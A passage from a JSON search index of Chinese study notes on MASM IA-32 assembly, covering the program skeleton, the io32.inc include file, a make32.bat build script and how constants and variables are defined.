<p>\u4e0d\u540c\u6c47\u7f16\u8bed\u8a00\uff0c\u4e0d\u540c\u6c47\u7f16\u5668\uff0c\u5176\u7ed3\u6784\u548c\u8bed\u6cd5\u6709\u6240\u4e0d\u540c\uff0c\u6211\u5b66\u4e60\u7684\u662f\u57fa\u4e8e MASM \u7684 IA-32 \u6c47\u7f16\u8bed\u8a00</p> <p>\u5728\u4f7f\u7528 MASM\uff08Microsoft Macro Assembler\uff09\u7f16\u5199 IA-32 \u6c47\u7f16\u8bed\u8a00\u7a0b\u5e8f\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u9075\u5faa\u4e00\u4e2a\u6807\u51c6\u7684\u7a0b\u5e8f\u6846\u67b6\u3002MASM \u662f\u5fae\u8f6f\u63d0\u4f9b\u7684\u6c47\u7f16\u5668\uff0c\u4e3b\u8981\u7528\u4e8e Windows \u5e73\u53f0\uff0c\u56e0\u6b64\u5176\u8bed\u6cd5\u548c\u7ed3\u6784\u4f1a\u66f4\u8d34\u8fd1 Windows \u7684\u7a0b\u5e8f\u7f16\u5199\u98ce\u683c\u3002MASM \u63d0\u4f9b\u4e86\u8bb8\u591a\u5b8f\u548c\u6307\u4ee4\u6765\u7b80\u5316\u7f16\u5199\u6c47\u7f16\u7a0b\u5e8f\u7684\u8fc7\u7a0b\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#masm-ia-32","title":"\u57fa\u4e8e MASM \u7684 IA-32 \u6c47\u7f16\u8bed\u8a00\u7a0b\u5e8f\u6846\u67b6","text":"<p>\u4e00\u4e2a\u5178\u578b\u7684 MASM \u7a0b\u5e8f\u6846\u67b6\u901a\u5e38\u5305\u62ec\u4ee5\u4e0b\u90e8\u5206\uff1a</p> <ol> <li>\u6570\u636e\u6bb5\uff08.data\uff09\uff1a\u5b9a\u4e49\u7a0b\u5e8f\u4e2d\u7684\u5df2\u521d\u59cb\u5316\u6570\u636e\uff08\u5982\u5e38\u91cf\u3001\u5b57\u7b26\u4e32\u3001\u53d8\u91cf\u7b49\uff09\u3002</li> <li>\u4ee3\u7801\u6bb5\uff08.code\uff09\uff1a\u5305\u542b\u7a0b\u5e8f\u7684\u6307\u4ee4\uff08\u5b9e\u9645\u64cd\u4f5c\u4ee3\u7801\uff09\u3002</li> <li>\u6808\u6bb5\uff08.stack\uff09\uff1a\u5b9a\u4e49\u7a0b\u5e8f\u8fd0\u884c\u65f6\u4f7f\u7528\u7684\u5806\u6808\u7a7a\u95f4\uff08\u901a\u5e38\u4e3a\u53ef\u9009\u9879\uff09\u3002</li> <li>\u5165\u53e3\u70b9\uff08main \u6216 start\uff09\uff1a\u7a0b\u5e8f\u7684\u5165\u53e3\u70b9\uff0c\u901a\u5e38\u901a\u8fc7 <code>main</code> \u6216 <code>start</code> \u6807\u7b7e\u6765\u5b9a\u4e49\u3002</li> <li>\u7ed3\u675f\u6307\u4ee4\uff08END\uff09\uff1a\u6307\u793a\u7a0b\u5e8f\u7684\u7ed3\u675f\u70b9\u3002</li> </ol> <p>\u793a\u4f8b\uff1a\u57fa\u4e8e MASM \u7684 IA-32 \u6c47\u7f16\u7a0b\u5e8f\u6846\u67b6</p> <pre><code>; eg0101.asm - \u7a0b\u5e8f\u540d\u79f0\ninclude io32.inc       ; \u5305\u542b\u5934\u6587\u4ef6 io32.inc\n\n.data                  ; \u6570\u636e\u6bb5\nmsg byte 'Hello, Assembly!', 13, 10, 0  ; \u5b9a\u4e49\u4e00\u4e2a\u5b57\u7b26\u4e32\u53d8\u91cf msg\uff0c\u4ee5\u56de\u8f66\uff0813\uff09\u3001\u6362\u884c\uff0810\uff09\u548c\u7ed3\u675f\u7b26\uff080\uff09\u7ed3\u5c3e\n\n.code                  ; \u4ee3\u7801\u6bb5\nstart:                 ; \u7a0b\u5e8f\u6267\u884c\u8d77\u59cb\u4f4d\u7f6e\n\n    mov eax, offset msg  ; \u5c06 msg \u7684\u5730\u5740\u8f7d\u5165 eax \u5bc4\u5b58\u5668\n    call dispmsg         ; \u8c03\u7528 dispmsg \u51fd\u6570\uff0c\u663e\u793a\u6d88\u606f\n\n    exit 0               ; \u6b63\u5e38\u9000\u51fa\u7a0b\u5e8f\nend start               ; \u7a0b\u5e8f\u7ed3\u675f\uff0c\u6307\u5b9a\u5165\u53e3\u70b9\u4e3a start\n</code></pre> <p>\u7a0b\u5e8f\u89e3\u91ca</p> <ol> <li> <p><code>include io32.inc</code>: \u5305\u542b\u4e00\u4e2a\u540d\u4e3a <code>io32.inc</code> \u7684\u5934\u6587\u4ef6\uff0c\u8be5\u6587\u4ef6\u5305\u542b\u5e38\u7528\u7684\u5b8f\u3001\u51fd\u6570\u58f0\u660e\u6216\u8f93\u5165\u8f93\u51fa\u4f8b\u7a0b\u3002\u4f8b\u5982\uff0c\u8fd9\u91cc\u4f7f\u7528\u7684 <code>dispmsg</code> \u51fd\u6570\u5728 <code>io32.inc</code> \u4e2d\u5b9a\u4e49\u7684\uff0c\u7528\u6765\u5728\u5c4f\u5e55\u4e0a\u663e\u793a\u5b57\u7b26\u4e32\u3002</p> </li> <li> <p><code>.data</code> \u6bb5: \u6570\u636e\u6bb5\uff0c\u7528\u4e8e\u5b9a\u4e49\u6570\u636e\uff08\u5982\u53d8\u91cf\u3001\u5e38\u91cf\u3001\u5b57\u7b26\u4e32\u7b49\uff09\u3002\u5728\u8fd9\u91cc\uff0c\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5b57\u7b26\u4e32 <code>msg</code>\uff0c\u5185\u5bb9\u4e3a \"Hello, Assembly!\"\uff0c\u540e\u9762\u8ddf\u7740\u56de\u8f66\uff0813\uff09\u3001\u6362\u884c\uff0810\uff09\u548c\u5b57\u7b26\u4e32\u7ed3\u675f\u7b26\uff080\uff09\u3002</p> </li> <li> <p><code>.code</code> \u6bb5: \u4ee3\u7801\u6bb5\uff0c\u5305\u542b\u7a0b\u5e8f\u7684\u6307\u4ee4\u90e8\u5206\u3002\u7a0b\u5e8f\u4ece <code>start</code> \u6807\u7b7e\u5f00\u59cb\u6267\u884c\u3002</p> <ul> <li><code>mov eax, offset msg</code>: \u5c06\u5b57\u7b26\u4e32 <code>msg</code> \u7684\u5730\u5740\u8f7d\u5165 <code>EAX</code> \u5bc4\u5b58\u5668\u3002</li> <li><code>call dispmsg</code>: \u8c03\u7528 <code>dispmsg</code> \u51fd\u6570\uff0c\u5c06 <code>msg</code> \u7684\u5185\u5bb9\u663e\u793a\u5728\u5c4f\u5e55\u4e0a\u3002</li> <li><code>exit 0</code>: \u6b63\u5e38\u9000\u51fa\u7a0b\u5e8f\uff0c\u8fd4\u56de\u7801\u4e3a <code>0</code>\u3002</li> </ul> </li> <li> <p><code>end start</code>: \u544a\u8bc9\u6c47\u7f16\u5668\u7a0b\u5e8f\u7684\u7ed3\u675f\uff0c\u5e76\u6307\u5b9a\u7a0b\u5e8f\u4ece <code>start</code> \u6807\u7b7e\u5f00\u59cb</p> </li> </ol> io32.inc <p><pre><code>.nolist\n;filename: io32.inc\n;A include file used with io32.lib for Windows Console\n\n  .686\n  .model flat,stdcall\n\n  option casemap:none\n  includelib bin\\kernel32.lib\n\nExitProcess proto,:DWORD\nexit  MACRO dwexitcode\n  invoke ExitProcess,dwexitcode\n  ENDM\n\n;declare procedures for inputting and outputting charactor or string\n  extern readc:near,readmsg:near\n  extern dispc:near,dispmsg:near,dispcrlf:near\n;declare procedures for inputting and outputting binary number\n  extern readbb:near,readbw:near,readbd:near\n  extern dispbb:near,dispbw:near,dispbd:near\n;declare procedures for inputting and outputting hexadecimal number\n  extern readhb:near,readhw:near,readhd:near\n  extern disphb:near,disphw:near,disphd:near\n;declare procedures for inputting and outputting unsigned integer number\n  extern readuib:near,readuiw:near,readuid:near\n  extern dispuib:near,dispuiw:near,dispuid:near\n;declare procedures for inputting and outputting signed integer number\n  extern readsib:near,readsiw:near,readsid:near\n  extern dispsib:near,dispsiw:near,dispsid:near\n;declare procedures for outputting registers\n  extern disprb:near,disprw:near,disprd:near,disprf:near\n;declare I/O libraries\n  includelib io32.lib\n\n.list\n</code></pre>   \u8fd9\u4e2a\u6587\u4ef6\u662f\u4e00\u4e2a\u5305\u542b\u6587\u4ef6\uff0c\u5b9a\u4e49\u4e86\u5404\u79cd\u8f93\u5165/\u8f93\u51fa\uff08I/O\uff09\u51fd\u6570\u548c\u5b8f\uff0c\u5e76\u4e14\u58f0\u660e\u4e86\u8fd9\u4e9b\u51fd\u6570\u7684\u539f\u578b\u548c\u5b83\u4eec\u6240\u5728\u7684\u5e93\u3002\u5177\u4f53\u5185\u5bb9\u5982\u4e0b\uff1a</p> <ol> <li> <p>\u6c47\u7f16\u9009\u9879\u8bbe\u7f6e\uff1a</p> <ul> <li><code>.686</code>: \u6307\u5b9a\u4f7f\u7528 686 \u6307\u4ee4\u96c6\uff08Pentium Pro \u53ca\u4ee5\u4e0a\uff09\u3002</li> <li><code>.model flat,stdcall</code>: \u4f7f\u7528\u5e73\u5766\u5185\u5b58\u6a21\u578b\u548c <code>stdcall</code> \u8c03\u7528\u7ea6\u5b9a\u3002</li> <li><code>option casemap:none</code>: \u7981\u7528\u5927\u5c0f\u5199\u6620\u5c04\uff0c\u4f7f\u5f97\u6807\u8bc6\u7b26\u662f\u5927\u5c0f\u5199\u654f\u611f\u7684\u3002</li> </ul> </li> <li> <p>\u5e93\u5f15\u7528\uff1a</p> <ul> <li><code>includelib bin\\kernel32.lib</code>: \u5f15\u5165 Windows API \u7684 <code>kernel32.lib</code> \u5e93\uff0c\u8be5\u5e93\u5305\u542b\u5e38\u89c1\u7684\u7cfb\u7edf\u8c03\u7528\uff08\u5982 <code>ExitProcess</code>\uff09\u3002</li> </ul> </li> <li> <p>\u5b8f\u5b9a\u4e49\uff1a</p> <ul> <li><code>exit MACRO dwexitcode</code>: \u5b9a\u4e49\u4e86\u4e00\u4e2a\u540d\u4e3a <code>exit</code> \u7684\u5b8f\uff0c\u7528\u4e8e\u8c03\u7528 <code>ExitProcess</code> \u51fd\u6570\u9000\u51fa\u7a0b\u5e8f\u3002    <pre><code>invoke ExitProcess,dwexitcode\n</code></pre></li> <li>\u8be5\u5b8f\u53ef\u4ee5\u7b80\u5316\u9000\u51fa\u7a0b\u5e8f\u7684\u4ee3\u7801\uff0c\u4f7f\u5f97\u5728\u7a0b\u5e8f\u4e2d\u8c03\u7528 <code>exit</code> \u5b8f\u65f6\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f20\u9012\u4e00\u4e2a\u9000\u51fa\u4ee3\u7801\u3002</li> </ul> </li> <li> <p>\u5916\u90e8\u51fd\u6570\u58f0\u660e\uff1a</p> <ul> <li><code>extern</code> \u58f0\u660e\uff1a\u8fd9\u4e9b\u58f0\u660e\u544a\u8bc9\u6c47\u7f16\u5668\uff0c\u8fd9\u4e9b\u51fd\u6570\u5728\u5176\u4ed6\u5730\u65b9\u5b9a\u4e49\uff08\u4f8b\u5982 <code>io32.lib</code> \u5e93\u4e2d\uff09\uff0c\u5e76\u4e14\u5b83\u4eec\u662f <code>near</code> \u7c7b\u578b\uff08\u5373\u5728\u76f8\u540c\u7684\u6bb5\u4e2d\uff09\u3002\u8fd9\u4e9b\u51fd\u6570\u5305\u62ec\uff1a</li> <li>\u5b57\u7b26\u6216\u5b57\u7b26\u4e32\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readc</code>\u3001<code>readmsg</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u7b26\u6216\u5b57\u7b26\u4e32\u3002</li> <li><code>dispc</code>\u3001<code>dispmsg</code>\u3001<code>dispcrlf</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u7b26\u3001\u5b57\u7b26\u4e32\u548c\u6362\u884c\u7b26\u3002</li> </ul> </li> <li>\u4e8c\u8fdb\u5236\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readbb</code>\u3001<code>readbw</code>\u3001<code>readbd</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u4e8c\u8fdb\u5236\u6570\u3002</li> <li><code>dispbb</code>\u3001<code>dispbw</code>\u3001<code>dispbd</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u4e8c\u8fdb\u5236\u6570\u3002</li> </ul> </li> <li>\u5341\u516d\u8fdb\u5236\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readhb</code>\u3001<code>readhw</code>\u3001<code>readhd</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u5341\u516d\u8fdb\u5236\u6570\u3002</li> <li><code>disphb</code>\u3001<code>disphw</code>\u3001<code>disphd</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u5341\u516d\u8fdb\u5236\u6570\u3002</li> </ul> </li> <li>\u65e0\u7b26\u53f7\u6574\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readuib</code>\u3001<code>readuiw</code>\u3001<code>readuid</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u65e0\u7b26\u53f7\u6574\u6570\u3002</li> <li><code>dispuib</code>\u3001<code>dispuiw</code>\u3001<code>dispuid</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u65e0\u7b26\u53f7\u6574\u6570\u3002</li> </ul> </li> <li>\u6709\u7b26\u53f7\u6574\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readsib</code>\u3001<code>readsiw</code>\u3001<code>readsid</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u6709\u7b26\u53f7\u6574\u6570\u3002</li> <li><code>dispsib</code>\u3001<code>dispsiw</code>\u3001<code>dispsid</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u6709\u7b26\u53f7\u6574\u6570\u3002</li> </ul> </li> <li>\u5bc4\u5b58\u5668\u7684\u8f93\u51fa\uff1a<ul> <li><code>disprb</code>\u3001<code>disprw</code>\u3001<code>disprd</code>\u3001<code>disprf</code>\uff1a\u7528\u4e8e\u663e\u793a\u5bc4\u5b58\u5668\u7684\u503c\u3002</li> </ul> </li> </ul> </li> <li> <p>\u5e93\u6587\u4ef6\u5305\u542b\uff1a</p> <ul> <li><code>includelib io32.lib</code>: \u5305\u542b <code>io32.lib</code> \u5e93\u6587\u4ef6\uff0c\u8fd9\u4e2a\u5e93\u6587\u4ef6\u5b9e\u9645\u4e0a\u5b9e\u73b0\u4e86\u8fd9\u4e9b <code>extern</code> \u58f0\u660e\u7684\u8f93\u5165/\u8f93\u51fa\u51fd\u6570\u3002</li> </ul> </li> </ol> \u7528\u4e8e\u4e00\u952e\u8fd0\u884c\u7684make\u6587\u4ef6 <pre><code> @echo off\n  REM make32.bat, for assembling and linking 32-bit Console programs (.EXE)\n  BIN\\ML /c /coff /Fl /Zi %1.asm\n  if errorlevel 1 goto terminate\n  BIN\\LINK32 /subsystem:console /debug %1.obj\n  if errorlevel 1 goto terminate\n  DIR %1.*\n  :terminate\n  @echo on\n</code></pre> <pre><code>@echo off\n</code></pre> <ul> <li>\u5173\u95ed\u547d\u4ee4\u56de\u663e\uff0c\u4f7f\u6279\u5904\u7406\u6587\u4ef6\u7684\u547d\u4ee4\u4e0d\u663e\u793a\u5728\u63a7\u5236\u53f0\u7a97\u53e3\u4e2d\uff08\u9664\u4e86\u663e\u5f0f\u6253\u5f00\u56de\u663e\u7684\u90e8\u5206\uff09\u3002</li> </ul> <pre><code>REM make32.bat, for assembling and linking 32-bit Console programs (.EXE)\n</code></pre> <ul> <li><code>REM</code> \u662f\u6279\u5904\u7406\u6587\u4ef6\u4e2d\u7684\u6ce8\u91ca\u547d\u4ee4\uff0c\u8bf4\u660e\u6587\u4ef6\u7684\u7528\u9014\uff1a\u7528\u4e8e\u6c47\u7f16\u548c\u94fe\u63a532\u4f4d\u63a7\u5236\u53f0\u7a0b\u5e8f\u3002</li> </ul> <pre><code>BIN\\ML /c /coff /Fl /Zi %1.asm\n</code></pre> <ul> <li>\u8c03\u7528 <code>ML</code>\uff08Microsoft Macro Assembler\uff09\u8fdb\u884c\u6c47\u7f16\uff1a<ul> <li><code>/c</code>\uff1a\u53ea\u6c47\u7f16\uff0c\u4e0d\u94fe\u63a5\u3002</li> <li><code>/coff</code>\uff1a\u751f\u6210COFF\uff08\u901a\u7528\u76ee\u6807\u6587\u4ef6\u683c\u5f0f\uff09\u3002</li> <li><code>/Fl</code>\uff1a\u751f\u6210\u6e90\u4ee3\u7801\u5217\u8868\u6587\u4ef6\u3002</li> <li><code>/Zi</code>\uff1a\u751f\u6210\u7528\u4e8e\u8c03\u8bd5\u7684\u5b8c\u6574\u7b26\u53f7\u4fe1\u606f\u3002</li> <li><code>%1.asm</code>\uff1a\u8868\u793a\u547d\u4ee4\u884c\u4f20\u9012\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\u5373\u6c47\u7f16\u6e90\u6587\u4ef6\u7684\u540d\u79f0\u3002</li> </ul> </li> </ul> <p><pre><code>if errorlevel 1 goto terminate\n</code></pre>   - \u68c0\u67e5\u4e0a\u4e00\u6761\u547d\u4ee4\u7684\u8fd4\u56de\u7801 (<code>errorlevel</code>) \u662f\u5426\u5927\u4e8e\u6216\u7b49\u4e8e1\uff08\u8868\u793a\u9519\u8bef\uff09\u3002\u5982\u679c\u662f\uff0c\u8df3\u8f6c\u5230 <code>:terminate</code> \u6807\u7b7e\uff0c\u7ed3\u675f\u6279\u5904\u7406\u3002</p> <pre><code>BIN\\LINK32 /subsystem:console /debug %1.obj\n</code></pre> <ul> <li>\u8c03\u7528 <code>LINK32</code>\uff08Microsoft 32-bit Linker\uff09\u8fdb\u884c\u94fe\u63a5\uff1a<ul> <li><code>/subsystem:console</code>\uff1a\u6307\u5b9a\u5b50\u7cfb\u7edf\u4e3a\u63a7\u5236\u53f0\u5e94\u7528\u7a0b\u5e8f\u3002</li> <li><code>/debug</code>\uff1a\u751f\u6210\u8c03\u8bd5\u4fe1\u606f\u3002</li> <li><code>%1.obj</code>\uff1a\u8868\u793a\u7531\u4e0a\u4e00\u6761\u6c47\u7f16\u547d\u4ee4\u751f\u6210\u7684\u76ee\u6807\u6587\u4ef6\u3002</li> </ul> </li> </ul> <pre><code>if errorlevel 1 goto terminate\n</code></pre> <ul> <li>\u518d\u6b21\u68c0\u67e5\u9519\u8bef\u7801\u3002\u5982\u679c\u94fe\u63a5\u547d\u4ee4\u8fd4\u56de\u9519\u8bef\uff0c\u8df3\u8f6c\u5230 <code>:terminate</code> \u7ed3\u675f\u3002</li> </ul> <pre><code>DIR %1.*\n</code></pre> <ul> <li>\u5217\u51fa\u6307\u5b9a\u6587\u4ef6\uff08\u5982\u751f\u6210\u7684\u53ef\u6267\u884c\u6587\u4ef6\u548c\u5176\u4ed6\u76f8\u5173\u6587\u4ef6\uff09\u7684\u8be6\u7ec6\u4fe1\u606f\u3002</li> </ul> <pre><code>:terminate\n@echo on\n</code></pre> <ul> <li><code>:terminate</code> \u662f\u6279\u5904\u7406\u6587\u4ef6\u7684\u6807\u7b7e\uff0c\u8868\u793a\u4e00\u4e2a\u8df3\u8f6c\u76ee\u6807\u3002</li> <li><code>@echo on</code> \u6253\u5f00\u547d\u4ee4\u56de\u663e\u3002</li> </ul> <p>\u8fd9\u4e2a\u6279\u5904\u7406\u6587\u4ef6\u7684\u4f5c\u7528\u662f\u81ea\u52a8\u5316\u6c47\u7f16\u6e90\u4ee3\u7801\u5e76\u5c06\u5176\u94fe\u63a5\u621032\u4f4d\u7684\u53ef\u6267\u884c\u7a0b\u5e8f\uff0c\u540c\u65f6\u63d0\u4f9b\u8c03\u8bd5\u4fe1\u606f\u3002\u6279\u5904\u7406\u6587\u4ef6\u4f1a\u5728\u4efb\u4e00\u9636\u6bb5\uff08\u6c47\u7f16\u6216\u94fe\u63a5\uff09\u53d1\u751f\u9519\u8bef\u65f6\u505c\u6b62\u6267\u884c\u3002</p>"},{"location":"NOTE/CS/ASM/wk2/","title":"\u6570\u636e\u8868\u793a","text":"<p> \u7ea6 1635 \u4e2a\u5b57  25 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 6 \u5206\u949f</p>"},{"location":"NOTE/CS/ASM/wk2/#_2","title":"\u5e38\u91cf\u8868\u8fbe","text":"<p>\u5e38\u91cf\u662f\u7a0b\u5e8f\u4f7f\u7528\u7684\u4e00\u4e2a\u786e\u5b9a\u7684\u6570\u503c\uff0c\u5728\u6c47\u7f16\u9636\u6bb5\u5c31\u53ef\u4ee5\u786e\u5b9a\uff0c\u76f4\u63a5\u7f16\u7801\u4e8e\u6307\u4ee4\u4ee3\u7801\u4e2d\uff0c\u800c\u4e0d\u662f\u4fdd\u5b58\u5728\u5b58\u50a8\u5668\u4e2d\u53ef\u53d8\u7684\u53d8\u91cf</p> <p>\u6c47\u7f16\u8bed\u8a00\u652f\u6301\u591a\u79cd\u5e38\u91cf\u7684\u8868\u8fbe\u5f62\u5f0f</p>"},{"location":"NOTE/CS/ASM/wk2/#_3","title":"\u5e38\u6570","text":"<p>\u591a\u79cd\u8fdb\u5236\u7684\u8868\u8fbe:\u4ee5\u540e\u7f00\u5b57\u6bcd\u6765\u533a\u5206\uff08D\uff0cH\uff0cB\u5206\u522b\u5bf9\u5e9410\uff0c16\uff0c2\u8fdb\u5236\uff09\uff0c10\u8fdb\u5236\u6570\u53ef\u4ee5\u4e0d\u52a0\uff0c\u5bf9\u4e8e\u4ee5\u5b57\u6bcdA~F\u5f00\u5934\u7684\u5341\u516d\u8fdb\u5236\u5e38\u6570\uff0c\u8981\u52a0\u524d\u5bfc\u76840 \u4ee5\u4fbf\u4e8e\u533a\u5206\u5b57\u6bcd\u5f00\u5934\u7684\u6807\u8bc6\u7b26(<code>AH</code>\u662f\u516b\u4f4d\u5bc4\u5b58\u5668\uff0c<code>0Ah</code>\u662f16\u8fdb\u5236\u6570)</p> <p>Example</p> \u5341\u8fdb\u5236\u6570 100\uff0c255D \u5341\u516d\u8fdb\u5236\u6570 64H\uff0c0FFH \u4e8c\u8fdb\u5236\u6570 01101100b"},{"location":"NOTE/CS/ASM/wk2/#_4","title":"\u5b57\u7b26\u548c\u5b57\u7b26\u4e32","text":"<p>\u7528<code>''</code>\u6216\u8005<code>\"\"</code>\u62ec\u8d77\u6765\u7684\u591a\u4e2a\u5b57\u7b26 \uff0c\u6bcf\u4e2a\u5b57\u7b26\u7684\u6570\u503c\u662f\u5bf9\u5e94\u7684ASCII\u7801\u503c</p> <p>Note</p> <p>\u5355\u5f15\u53f7\uff0c\u53cc\u5f15\u53f7\u6ca1\u6709\u4ec0\u4e48\u533a\u522b\uff0c\u5b57\u7b26\u548c\u5b57\u7b26\u4e32\u4e5f\u6ca1\u6709\u4ec0\u4e48\u672c\u8d28\u4e0a\u7684\u533a\u522b</p>"},{"location":"NOTE/CS/ASM/wk2/#_5","title":"\u7b26\u53f7\u5e38\u91cf","text":"<p>\u5141\u8bb8\u4f7f\u7528\u6807\u8bc6\u7b26\u6765\u8868\u8fbe\u4e00\u4e2a\u6570\u503c\uff0c\u5728\u9ad8\u7ea7\u7a0b\u5e8f\u8bbe\u8ba1\u8bed\u8a00\u4e2d\uff0c<code>=</code>\u7528\u4e8e\u53d8\u91cf\u7684\u5b9a\u4e49\uff0c\u800c\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d<code>=</code>\u7528\u6765\u5b9a\u4e49\u7b26\u53f7\u5e38\u91cf\uff0c\u4f8b\u5982</p> <p><pre><code>Zero = 0 ;\u6216\u8005Zero equ 0 \n</code></pre> \u7684\u4f5c\u7528\u76f8\u5f53\u4e8eC\u8bed\u8a00\u4e2d</p> <p><pre><code>#define Zero 0 \n</code></pre> \u5728\u63a5\u4e0b\u6765\u7684\u7a0b\u5e8f\u91cc\u9762<code>Zero</code>\u51fa\u73b0\u7684\u4f4d\u7f6e\u90fd\u4f1a\u88ab0\u66ff\u4ee3</p>"},{"location":"NOTE/CS/ASM/wk2/#_6","title":"\u6570\u503c\u8868\u8fbe\u5f0f","text":"<p>\u7528\u8fd0\u7b97\u7b26\u8fde\u7ed3\u5404\u79cd\u5e38\u91cf\u6784\u6210\u6570\u636e\u8868\u8fbe\u5f0f\uff0c\u5e38\u7528\u7684\u7b97\u672f\u8fd0\u7b97\u7b26\u6709\u52a0\u51cf\u4e58\u9664\u7b49\uff0c\u5982\u679c\u662f\u5730\u5740\u8868\u8fbe\u5f0f\uff0c\u90a3\u4e48\u53ea\u80fd\u52a0\u51cf\uff0c\u8868\u793a\u5730\u5740\u79fb\u52a8\u7684\u82e5\u5e72\u7684\u5b57\u8282\u5b58\u50a8\u5355\u5143</p>"},{"location":"NOTE/CS/ASM/wk2/#_7","title":"\u53d8\u91cf\u5b9a\u4e49","text":"<p>\u4ec0\u4e48\u662f\u53d8\u91cf</p> <p>\u968f\u7a0b\u5e8f\u8fd0\u884c\u4f1a\u53d1\u751f\u53d8\u5316\u7684\u6570\u636e\uff0c\u4fdd\u5b58\u5728\u53ef\u8bfb\u53ef\u5199\u7684\u4e3b\u5b58\u7a7a\u95f4\u4e2d\uff0c\u53d8\u91cf\u7684\u5b9e\u8d28\u662f\u4e3b\u5b58\u5355\u5143\u7684\u6570\u636e\uff0c\u56e0\u800c\u53ef\u4ee5\u6539\u53d8\uff0c\u53d8\u91cf\u9700\u8981\u4e8b\u5148\u5b9a\u4e49\u624d\u80fd\u4f7f\u7528\uff0c\u53d8\u91cf\u5177\u6709\u5c5e\u6027\uff0c\u65b9\u4fbf\u5e94\u7528</p> <p>\u5b9a\u4e49\u53d8\u91cf\u7684\u683c\u5f0f</p> <p>\u4e00\u822c\u683c\u5f0f\u4e3a</p> <pre><code>\u53d8\u91cf\u540d \u53d8\u91cf\u5b9a\u4e49\u4f2a\u6307\u4ee4  \u521d\u503c\u8868\n</code></pre> <ul> <li> <p>\u53d8\u91cf\u540d\uff1a\u7528\u6237\u5b9a\u4e49\u7684\u6807\u8bc6\u7b26\uff0c\u9700\u8981\u6ee1\u8db3\u5b9a\u4e49\u6807\u8bc6\u7b26\u89c4\u5219\uff0c\u8868\u793a\u9996\u5143\u7d20\u7684\u903b\u8f91\u5730\u5740\uff0c\u4fbf\u4e8e\u76f4\u63a5\u8bbf\u95ee\uff0c\u4f46\u662f\uff0c\u6ca1\u6709\u53d8\u91cf\u540d\u5e76\u4e0d\u5f71\u54cd\u53d8\u91cf\u7684\u5b9a\u4e49</p> </li> <li> <p>\u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26\uff1a\u4f8b\u5982 <code>byte</code>,<code>word</code>,<code>dword</code>,\u8868\u793a\u53d8\u91cf\u7c7b\u578b</p> </li> <li> <p>\u521d\u503c\u8868\u662f\u7528\u9017\u53f7\u5206\u9694\u7684\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u53c2\u6570\uff0c\u8868\u793a\u53d8\u91cf\u7684\u521d\u503c\uff08\u6c47\u7f16\u4e2d\u4e00\u4e2a\u53d8\u91cf\u53ef\u4ee5\u6709\u591a\u4e2a\u53d8\u91cf\u503c\uff0c\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684\u6570\u7ec4\uff09</p> <ul> <li>\u53ef\u4ee5\u662f\u5404\u79cd\u5f62\u5f0f\u7684\u5e38\u91cf</li> <li>\u4f7f\u7528<code>?</code>\u6765\u8868\u793a\u521d\u503c\u4e0d\u786e\u5b9a\uff0c\u5373\u672a\u8d4b\u521d\u503c\uff0c\u4e00\u534a\u4f1a\u5b58\u50a8\u4e3a0</li> <li>\u4f7f\u7528\u590d\u5236\u64cd\u4f5c\u7b26<code>DUP</code>\u6765\u8868\u793a\u591a\u4e2a\u540c\u6837\u7684\u6570\u503c<code>\u91cd\u590d\u6b21\u6570 DUP(\u9700\u8981\u91cd\u590d\u7684\u53c2\u6570)</code></li> </ul> </li> </ul> <p>\u4e3b\u8981\u7684\u53d8\u91cf\u5b9a\u4e49\u4f2a\u6307\u4ee4</p> <p>BYTE\uff1a\u5b57\u8282\u7c7b\u578b\uff0c\u5206\u914d\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u5b57\u8282\u5355\u5143\uff0c\u6bcf\u4e2a\u6570\u636e\u662f8\u4f4d\u5b57\u8282\u91cf\uff0c\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684<code>char</code>\u7c7b\u578b\u3002</p> <p>WORD\uff1a\u5b57\u7c7b\u578b\uff0c\u5206\u914d\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u5b57\u5355\u5143\uff0c\u6bcf\u4e2a\u6570\u636e\u662f16\u4f4d\u5b57\u91cf\uff0c\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684<code>short</code>\u7c7b\u578b\u3002</p> 